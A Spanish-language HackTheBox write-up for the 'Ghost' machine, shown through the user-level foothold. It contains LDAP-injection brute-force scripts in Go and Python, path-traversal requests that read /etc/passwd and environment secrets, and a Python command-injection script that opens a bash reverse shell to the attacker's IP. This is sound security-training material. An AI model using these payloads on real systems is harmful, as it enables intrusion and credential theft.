Ghost – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Insane / Insana
  • Platform / Plataforma: HackTheBox

Avatar ghost


Sinopsis Link to heading

“Ghost” es una máquina de dificultad Insana de la plataforma HackTheBox. Esta máquina se enfoca en cómo explotar una versión customizada de Ghost CMS la cual permite leer archivos a un atacante (Local File Inclusion); esto desencadena en una ejecución remota de comandos por una función mal sanitizada. La máquina además enseña a performar otros ataques como LDAP Injection, modificar records de DNS para envenenar peticiones, performar Golden SAML Attack para bypassear un login de Active Directory Federation Services (AD FS) al impersonar un usuario Administrator, ejecución de código en servicio MSSQL y Trust Forest Attacks en un entorno Active Directory.


User / Usuario Link to heading

Empezando con un escaneo con Nmap muestra múltiples puertos abiertos: 53 Domain Name System (DNS), 80 HTTP, 88 Kerberos, 135 Microsoft RPC, 443 y 8008 HTTPs, 445 Server Message Block (SMB), 1433 Microsoft SQL Server (MSSQL), 5895 Windows Remote Management (WinRM); entre otros:

❯ sudo nmap -sVC -p53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49672,49680,63401,63446,63916 10.10.11.24

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-28 04:36 -03
Nmap scan report for ghost.htb (10.10.11.24)
Host is up (0.24s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-28 07:36:53Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ms-sql-ntlm-info:
|   10.10.11.24:1433:
|     Target_Name: GHOST
|     NetBIOS_Domain_Name: GHOST
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: ghost.htb
|     DNS_Computer_Name: DC01.ghost.htb
|     DNS_Tree_Name: ghost.htb
|_    Product_Version: 10.0.20348
|_ssl-date: 2024-09-28T07:38:31+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-09-28T07:13:17
|_Not valid after:  2054-09-28T07:13:17
| ms-sql-info:
|   10.10.11.24:1433:
|     Version:
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 1433
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2024-06-16T15:49:55
|_Not valid after:  2024-12-16T15:49:55
| rdp-ntlm-info:
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2024-09-28T07:37:54+00:00
|_ssl-date: 2024-09-28T07:38:31+00:00; +1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
|_http-generator: Ghost 5.78
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-title: Ghost
|_http-server-header: nginx/1.18.0 (Ubuntu)
8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_  http/1.1
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after:  2124-05-25T15:14:02
| http-title: Ghost Core
|_Requested resource was /login
|_http-server-header: nginx/1.18.0 (Ubuntu)
9389/tcp  open  mc-nmf        .NET Message Framing
49443/tcp open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
63401/tcp open  msrpc         Microsoft Windows RPC
63446/tcp open  msrpc         Microsoft Windows RPC
63916/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2024-09-28T07:38:00
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.99 seconds

Del escaneo podemos ver que tenemos un dominio: ghost.htb. Podemos ver también ver un Domain Controller (DC01.ghost.htb). En el puerto 8443 tenemos un subdominio core.ghost.htb. Por lo que suponemos que estamos ante un entorno Active Directory.

Agregamos este dominio a nuestro archivo /etc/hosts ejecutando:

❯ echo '10.10.11.24 ghost.htb DC01.ghost.htb core.ghost.htb' | sudo tee -a /etc/hosts

Visitando los puertos 80 HTTP y 443 HTTPs no muestra página web alguna. También hay una página web HTTPs en el puerto 8008, pero no somos capaces de obtener información. Finalmente, visitando la página en el puerto 8443 muestra algo:

Ghost 1

Clickeando en Login using AD Federation redirige al dominio federation.ghost.htb. Agregamos este nuevo dominio a nuestro archivo /etc/hosts. Una vez agregado, revisitamos la página y tenemos:

Ghost

Pero credenciales simples y típicas no funcionan aquí.

Aparentemente, este es un panel de login para Active Directory Federation:

Información
Active Directory Federation Services (AD FS) is a single sign on (SSO) feature developed by Microsoft that provides safe, authenticated access to any domain, device, web application or system within the organization’s Active Directory (AD), as well as approved third-party systems.

Es una herramienta para agregar sistemas/dispositivos de terceros a un entorno AD.

Visitando http://ghost.htb:8008 muestra una especie de blog:

Ghost 10

Podemos leer el texto Powered by Ghost. Buscando what is ghost org retorna:

Información
Ghost is an open source content management system (CMS) platform written in JavaScript and distributed under the MIT License, designed to simplify the process of online publishing for individual bloggers as well as online publications

En resumen, Ghost CMS es un Content Management System como lo puede ser Joomla, WordPress, entre otros. De momento no hallamos información útil en el sitio, pero volveremos a éste luego.

Volviendo a ver el output del escaneo con Nmap para el puerto 8008, podemos ver que el escaneo detectó la existencia de un archivo /robots.txt; el cual revisando su contenido tiene:

❯ curl -s http://ghost.htb:8008/robots.txt

User-agent: *
Sitemap: http://ghost.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
Disallow: /webmentions/receive/

Visitando http://ghost.htb:8008/ghost redirige a http://ghost.htb:8008/#/signin, un nuevo panel de login:

Ghost 3

Buscando por nuevos subdominios que pudiesen estar aplicando vhosting para el puerto 8008 con ffuf nos lleva a:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://ghost.htb:8008/ -H 'Host: FUZZ.ghost.htb' -fs 7676

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ghost.htb:8008/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.ghost.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7676
________________________________________________

intranet                [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 221ms]
:: Progress: [4989/4989] :: Job [1/1] :: 22 req/sec :: Duration: [0:02:42] :: Errors: 2 ::

Tenemos un (nuevo) subdominio: intranet.ghost.htb. Como ya es usual, agregamos este subdominio a nuestro archivo /etc/hosts.

Una vez agregado, visitamos http://intranet.ghost.htb:8008/ y podemos ver otro panel de login:

Ghost 4

(¿Cuántos paneles de login tiene esta máquina? D:)

Credenciales por defecto típicas tampoco funcionan en este panel. Interceptando la petición enviada cuando intentamos loguear a este último panel con Burpsuite nos da:

POST /login HTTP/1.1
Host: intranet.ghost.htb:8008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://intranet.ghost.htb:8008/login
Next-Action: c471eb076ccac91d6f828b671795550fd5925940
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=---------------------------416026015933733900362518892273
Content-Length: 436
Origin: http://intranet.ghost.htb:8008
DNT: 1
Connection: close

-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="1_ldap-username"

usertest
-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="1_ldap-secret"

passtest
-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="0"

[{},"$K1"]
-----------------------------416026015933733900362518892273--

Ghost 5

Los parámetros solicitados para usuario y contraseña (o secret) son 1_ldap-username y 1_ldap-secret, respectivamente. Basados en el nombre de las variables, puede ser que este panel sea vulnerable a LDAP Injection. Viendo instrucciones de cómo bypassear logins con LDAP Injections en HackTricks, podemos usar como username un wildcard (caracter *) y como “secret” también usar un wildcard (*). Por lo que pasamos tanto a usuario como secret el caracter *. Haciendo esto en el panel de login funciona. Estamos dentro del panel como el usuario kathryn.holland:

Ghost 6

Hay información acerca de una cuenta temporal llamada gitea_temp_principal:

Git Migration

We are currently migrating Gitea to Bitbucket.
Domain logins to Gitea have been disabled.
You can only login with the gitea_temp_principal account and its corresponding intranet token as password.
We can't post the password here for security reasons, but:
For IT: Ask sysadmins for the password.
For sysadmins: Look in LDAP for the attribute. You can also test the credentials by logging in to intranet.

Para ver si el usuario gitea_temp_principal existe nos deslogueamos del panel y ponemos como usuario gitea_temp_principal y secret *. Esto nos permite loguearnos como este nuevo usuario (como se puede ver en el texto del lado superior derecho del panel al loguear), pero no vemos nada nuevo que no hayamos visto con el usuario previo. Quizás, dado que hay un usuario llamado gitea_temp_principal, existe en alguna parte un subdominio gitea o bitbucket (ya que esta máquina tiene bastantes subdominios). Para ello creamos una simple lista con algunos subdominios válidos y otros falsos para así filtrar por falsos positivos y revisar si estos subdominios realmente existen nuevamente usando ffuf:

❯ cat templist.txt

test
test1
test2
test3
gitea
bitbucket
test4

❯ ffuf -w ./templist.txt:FUZZ -u http://ghost.htb:8008/ -H 'Host: FUZZ.ghost.htb' -fs 7676 -t 55

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ghost.htb:8008/
 :: Wordlist         : FUZZ: /home/gunzf0x/HTB/HTBMachines/Insane/Ghost/content/templist.txt
 :: Header           : Host: FUZZ.ghost.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 55
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7676
________________________________________________

gitea                   [Status: 200, Size: 13651, Words: 1050, Lines: 272, Duration: 176ms]
:: Progress: [7/7] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

El subdominio gitea.ghost.htb existe para el puerto 8008.

Agregando este nuevo subdominio a /etc/hosts y visitando luego http://gitea.ghost.htb:8008/ muestra un simple panel de Gitea:

Ghost 7

Pero no somos capaces ni de crear un usuario, ni de ver repositorios “públicos” o que estén expuestos sin necesidad de una cuenta. Por lo que podríamos necesitar las credenciales del usuario gitea_temp_principal para acceder.

Similar a como hicimos para la máquina HTB Analysis, podemos crear un script en Python o Go abusando de la LDAP Injection (en mi caso creé un script para ambos lenguajes porque quería practicar Go) y extraer credenciales para este usuario. ¿Cómo? Supongamos que la contraseña para un usuario conocido es securepa55w0rd. En una LDAP Injection podemos loguearnos dando el usuario correcto y la contraseña s*, o secure*, o securepa* y esto va a funcionar. Por el contrario, si pasamos a*, o anything*, o secureaaaa* como contraseña/secret esto no va a funcionar. Esto es similar a como las wildcards (*) funcionan en Linux. Además, cuando la contraseña es inválida el sitio web retorna el texto Invalid combination of username and secret. Cuando pasamos una contraseña parcialmente correcta (como el caracter * solo), aquel texto no está presente. Por lo que la presencia (o ausencia) de ese texto es la condición que nos dice si la contraseña es válida o no y podemos ir probando caracter a caracter de ésta.

Para ello usamos el script en Go:

//usr/bin/go run $0 $@ ; exit
package main

import (
	"bytes"
	"compress/gzip"
	"fmt"
	"io"
	"mime/multipart"
	"net/http"
	"strings"
)

// Function to send HTTP POST request with a custom ldapSecret
func sendPostRequest(ldapSecret string) (string, error) {
	// Create a buffer to hold the body
	var body bytes.Buffer
	writer := multipart.NewWriter(&body)

	// Set the boundary manually
	boundary := "---------------------------25210098721522078059643854455"
	writer.SetBoundary(boundary)

	// Add form fields
	writer.WriteField("1_ldap-username", "gitea_temp_principal")
	writer.WriteField("1_ldap-secret", ldapSecret+"*")
	writer.WriteField("0", `[{},"$K1"]`)

	// Close the writer to finalize the multipart body
	writer.Close()

	// Create the request
	req, err := http.NewRequest("POST", "http://intranet.ghost.htb:8008/login", &body)
	if err != nil {
		return "", fmt.Errorf("error creating request: %v", err)
	}

	// Add headers
	req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0")
	req.Header.Set("Accept", "text/x-component")
	req.Header.Set("Accept-Language", "en-US,en;q=0.5")
	req.Header.Set("Accept-Encoding", "gzip, deflate, br")
	req.Header.Set("Referer", "http://intranet.ghost.htb:8008/login")
	req.Header.Set("Next-Action", "c471eb076ccac91d6f828b671795550fd5925940")
	req.Header.Set("Next-Router-State-Tree", "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D")
	req.Header.Set("Content-Type", fmt.Sprintf("multipart/form-data; boundary=%s", boundary))
	req.Header.Set("Origin", "http://intranet.ghost.htb:8008")
	req.Header.Set("DNT", "1")
	req.Header.Set("Connection", "close")

	// Send the request
	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		return "", fmt.Errorf("error sending request: %v", err)
	}
	defer resp.Body.Close()

	// Check for compressed content
	var reader io.ReadCloser
	switch resp.Header.Get("Content-Encoding") {
	case "gzip":
		reader, err = gzip.NewReader(resp.Body)
		if err != nil {
			return "", fmt.Errorf("error creating gzip reader: %v", err)
		}
		defer reader.Close()
	default:
		reader = resp.Body
	}

	// Read and return the decompressed response
	respBody, err := io.ReadAll(reader)
	if err != nil {
		return "", fmt.Errorf("error reading response: %v", err)
	}

	return string(respBody), nil
}

func main() {
	// Possible password characters
	var charmap = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#$%&/¿?¡!"
	fmt.Println("[+] Extracting password/secret")
	secret := ""
	passwordFound := false
	// Start bruteforcing
	for !passwordFound {
		for _, char := range charmap {
			// Send HTTP Request
			currentTry := secret + string(char)
			response, err := sendPostRequest(currentTry)
			fmt.Printf("\r[+] Attempting with password/secret: %s", currentTry)
			// Check if we have errors in the request
			if err != nil {
				fmt.Println("Error:", err)
				return
			}
			// Check if "Invalid combination" is in the response
			if !strings.Contains(response, "Invalid combination") {
				secret += string(char)
				break
			} else {
				// If we are in the last character and it is not valid, we have ended
				if string(char) == "!" {
					passwordFound = true
					break
				}
				continue
			}
		}
	}
	// Did we find the password? D:
	if len(secret) == 0 {
		fmt.Println("\n[-] Unable to find password.")
	} else {
		fmt.Println("\n[+] Password found: ", secret)
	}
}

O, para aquellos que prefieran Python, también hice este script que hace exactamente lo mismo:

#!/usr/bin/python3

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import string
from pwn import log
from sys import exit as sys_exit

charmap = list(string.digits + string.ascii_letters + '!@#$%&/=¿?¡!')


def make_HTTP_request(secret_to_inject: str):
    # Set parameters
    url: str = "http://intranet.ghost.htb:8008/login"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/x-component",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Referer": "http://intranet.ghost.htb:8008/login",
        "Next-Action": "c471eb076ccac91d6f828b671795550fd5925940",
        "Next-Router-State-Tree": "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
        "Content-Type": "multipart/form-data; boundary=---------------------------25210098721522078059643854455",
        "Origin": "http://intranet.ghost.htb:8008",
        "DNT": "1",
        "Connection": "close"
    }

    # Define the same multipart structure using requests_toolbelt's MultipartEncoder
    multipart_data = MultipartEncoder(
        fields={
            "1_ldap-username": "gitea_temp_principal",
            "1_ldap-secret": f"{secret_to_inject}*", # LDAP Injection
            "0": '[{}, "$K1"]'
        },
        boundary='---------------------------25210098721522078059643854455'
    )

    headers["Content-Type"] = multipart_data.content_type

    return requests.post(url, headers=headers, data=multipart_data.to_string())

secret: str = ''
log.info('Extracting secret/password...')
p1 = log.progress("Secret")
while True:
    for char in charmap:
        attempt = f"{secret}*"
        p1.status(f"{secret}{char}")
        r = make_HTTP_request(secret+char)
        if not 'Invalid combination' in r.text:
            secret += char
            break
        if r.status_code == 200 and ('Invalid combination of username and secret' in r.text):
            continue
        if r.status_code == 200:
            print(f"[-] Weird response: {r.text!r}")
            continue
    else:
        break
if len(secret) == 0:
    p1.failure('No password recovered :(')
    sys_exit(1)
p1.success(f"Password found: {secret}")

Ejecutando cualquiera de estos scripts, luego de algún tiempo, nos da:

❯ go run main.go

[+] Extracting password/secret
[+] Attempting with password/secret: szrr8kpc3z6onlqf!
[+] Password found:  szrr8kpc3z6onlqf

Tenemos una contraseña: gitea_temp_principal:szrr8kpc3z6onlqf

Si usamos las credenciales en la página de Gitea funcionan. Estamos dentro:

Ghost 8

Podemos ver 2 repositorios: blog e intranet.

Analizando los archivos para intranet, más específicamente para el directorio backend, somos capaces de ver la porción de código escrita en Rust en el archivo:

http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev.rs

cuyo contenido es:

use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};

pub(crate) mod scan;

pub struct DevGuard;

#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
    type Error = ();

    async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
        let key = request.headers().get_one("X-DEV-INTRANET-KEY");
        match key {
            Some(key) => {
                if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
                    Outcome::Success(DevGuard {})
                } else {
                    Outcome::Error((Status::Unauthorized, ()))
                }
            },
            None => Outcome::Error((Status::Unauthorized, ()))
        }
    }
}

El código está revisando el header/cabecera X-DEV-INTRANET-KEY de una petición y la compara con el valor de una variable de entorno llamada DEV_INTRANET_KEY. Si la key es válida (son iguales), entonces ésta usa el struct llamado DevGuard. De manera que el valor correcto de la cabecera X-DEV-INTRANET-KEY nos permite acceder al struct DevGuard.

Buscando por DevGuard en el repositorio Intranet nos lleva al archivo:

http://gitea.ghost.htb:8008/ghost-dev/intranet/raw/branch/main/backend/src/api/dev/scan.rs

cuyo contenido es:

use std::process::Command;

use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;

use crate::api::dev::DevGuard;

#[derive(Deserialize)]
pub struct ScanRequest {
    url: String,
}

#[derive(Serialize)]
pub struct ScanResponse {
    is_safe: bool,
    // remove the following once the route is stable
    temp_command_success: bool,
    temp_command_stdout: String,
    temp_command_stderr: String,
}

// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
    // currently intranet_url_check is not implemented,
    // but the route exists for future compatibility with the blog
    let result = Command::new("bash")
        .arg("-c")
        .arg(format!("intranet_url_check {}", data.url))
        .output();

    match result {
        Ok(output) => {
            Json(ScanResponse {
                is_safe: true,
                temp_command_success: true,
                temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
                temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
            })
        }
        Err(_) => Json(ScanResponse {
            is_safe: true,
            temp_command_success: false,
            temp_command_stdout: "".to_string(),
            temp_command_stderr: "".to_string(),
        })
    }
}

Este código define un endpoint (/api-dev/scan) para escanear URLs en los posts del blog, luego de que la petición del escaneo haya pasado la condición que vimos en el código anterior (que el header X-DEV-INTRANET-KEY tenga el valor correcto). La parte importante y sensible aquí es la porción de código bash -c intranet_url_check {data.url} dado que está ejecutando el campo url de la data llamada data (que debe estar en formato JSON) sin sanitizar, por lo que es vulnerable a inyección de comandos (command injection).

De momento, hemos encontrado una potencial vía de inyectar código. No obstante, todavía necesitamos un valor correcto de la key para acceder al permiso con DevGuard. Hurgando en estos repositorios, podemos ver que el repositorio blog tiene un archivo JavaScript llamado post-public.js. Una de sus líneas muestra algo interesante:

<SNIP>
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
  const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
  posts.meta.extra = { [extra]: fileContent };
}
}
return posts;
<SNIP>

El parámetro fileContent, que se muestra para desplegar archivos, no está sanitizado y está siendo llamado por medio del parámetro extra. Por lo que podemos intentar un Local File Inclusion para leer archivos del sistema y, quizás, este método pueda ser usado para leer el valor de la variable de entorno DEV_INTRANET_KEY.

Volvemos a la página http://ghost.htb:8008. Usamos Burpsuite para interceptar la petición al entrar al blog y hacemos click en Forward hasta que podamos ver el único post que está disponible:

Ghost 9

Luego, con el Intercept en activado (en modo ON), clickeamos en la lupa al lado superior derecho. Obtenemos así la petición:

OPTIONS /ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&limit=10000&fields=id%2Cslug%2Ctitle%2Cexcerpt%2Curl%2Cupdated_at%2Cvisibility&order=updated_at%20DESC HTTP/1.1
Host: ghost.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Access-Control-Request-Method: GET
Access-Control-Request-Headers: accept-version
Referer: http://ghost.htb:8008/embarking-on-the-supernatural-journey-welcome-to-ghost/
Origin: http://ghost.htb:8008
DNT: 1
Connection: close

La petición tiene una key: 37395e9e872be56438c83aaca6 y un endpoint a la API /ghost/api/content/posts/.

Podemos intentar usar esta key junto con la información hallada en el archivo .js en el repositorio blog en Gitea para tratar de extraer algunos datos:

❯ curl -s -X GET -G 'http://ghost.htb:8008//ghost/api/content/posts/?' --data-urlencode 'key=37395e9e872be56438c83aaca6' --data-urlencode 'extra=../../../../../../../etc/passwd'

<SNIP>
{"pagination":{"page":1,"limit":15,"pages":1,"total":1,"next":null,"prev":null},"extra":{"../../../../../../../etc/passwd":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000:Linux User,,,:/home/node:/bin/sh\n"}}}

Funcionó. Podemos leer archivos del sistema.

Para tratar de leer variables de entorno podemos tratar de leer el archivo /proc/self/environ:

❯ curl -s -X GET -G 'http://ghost.htb:8008//ghost/api/content/posts/?' --data-urlencode 'key=37395e9e872be56438c83aaca6' --data-urlencode 'extra=../../../../../../../proc/self/environ' | sed 's/\\u0000//g'

<SNIP>
":{"pagination":{"page":1,"limit":15,"pages":1,"total":1,"next":null,"prev":null},"extra":{"../../../../../../../proc/self/environ":"HOSTNAME=26ae7990f3dddatabase__debug=falseYARN_VERSION=1.22.19PWD=/var/lib/ghostNODE_ENV=productiondatabase__connection__filename=content/data/ghost.dbHOME=/home/nodedatabase__client=sqlite3url=http://ghost.htbDEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xedatabase__useNullAsDefault=trueGHOST_CONTENT=/var/lib/ghost/contentSHLVL=0GHOST_CLI_VERSION=1.25.3GHOST_INSTALL=/var/lib/ghostPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE_VERSION=18.19.0GHOST_VERSION=5.78.0"}}}

Vemos algo interesante: DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe.

Esta es la key que debemos de usar contra la ruta/API /api-dev/scan para el sitio intranet.ghost.htb:8008. Podemos usar el siguiente simple código de Python para obtener una reverse shell abusando de la falla de configuración en el struct DevGuard:

#!/usr/bin/python3
import requests
import argparse


parser = argparse.ArgumentParser(description='Revshell')
parser.add_argument('ip', type=str, help='IP to connect')
parser.add_argument('port', type=int, help='Listening port with "nc"')

args = parser.parse_args()

api_url = "http://intranet.ghost.htb:8008/api-dev/scan"
headers = {
    "X-DEV-INTRANET-KEY": '!@yqr!X2kxmQ.@Xe', # Header used to access 'DevGuard' struct
    "Content-Type": "application/json"
}

data = {
    "url": f"; bash -c 'bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1'" # Command injection
}

print("[+] Sending payload...")

requests.post(api_url, headers=headers, json=data)

Empezamos un listener con nc por el puerto 443 y ejecutamos el script:

❯ python3 connect_to_machine.py 10.10.16.5 443

[+] Sending payload...

y obtenemos una conexión como el usuario root (claramente en un container de Docker):

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.24] 49818
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@36b733906694:/app# whoami

whoami
root

